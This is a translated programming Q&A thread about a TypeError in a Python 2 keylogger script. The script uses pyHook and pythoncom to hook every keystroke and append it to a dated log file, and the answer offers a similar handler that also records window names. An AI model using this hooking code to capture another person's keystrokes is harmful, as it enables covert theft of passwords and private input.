簡體   English   中英

python TypeError需要一個整數pyHook pythoncom

[英]Python TypeError an integer is required pyHook pythoncom

我寫了一個腳本:

    import pythoncom, pyHook
    import time
    from time import strftime,localtime

    def OKBE(event):

            log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
            f=open(str(log),"a")

            if(str(event.Ascii)=="8"):
                f.write("<--")
                print("<--")
            elif(str(event.Ascii)=="13"):
                f.write("\nENTER "+str(time.strftime("%H,%M",localtime()))+"\n")

                print("\nENTER\n")
            elif(str(event.Ascii)=="32"):
                f.write(" ")
            else:
                f.write(chr(event.Ascii))
                print(str(event.Ascii))
                print(chr(event.Ascii))


    manager = pyHook.HookManager()
    manager.KeyDown = OKBE
    manager.HookKeyboard()
    pythoncom.PumpMessages()

但是只要事件是a或p以及其他一些字母,我都會收到此錯誤:

Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Users\Miran\Desktop\Pythonprojekt\Keylogger\keylogger.pyw", line 10, in OKBE
log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
TypeError: an integer is required 

有人知道為什么嗎?

事件是一個類(或者我應該說一個類的實例),您可以從實例中調用信息(請參見下面的代碼),例如“ event.key”將為您提供ASCII字符代碼。 event.alt將返回“ alt”鍵的狀態。

我記得在編寫python鍵盤記錄器時遇到過類似的問題(盡管已經很久了)。 我看不到您的代碼有任何立即錯誤。 我的“ OKBE”功能看起來更像這樣。

def OnKeyboardEvent(self, event):
    if (event.Ascii > 31 and event.Ascii < 127) or event.Ascii == 13 or event.Ascii == 9:
        data = (event.WindowName, event.Window, event.Time, event.Ascii, event.Key, event.Alt)
        print data # debugging

我相信使用上述方法可以捕獲大多數(如果不是全部)常規擊鍵。 使用上面的函數,我創建了帶有其他日志記錄函數的類。

如果您還有其他需要,或者想知道代碼中發生了什么,請告訴我:)

我認為問題是個錯誤...當我更換時

log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt") by log="log.txt"

一切正常

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM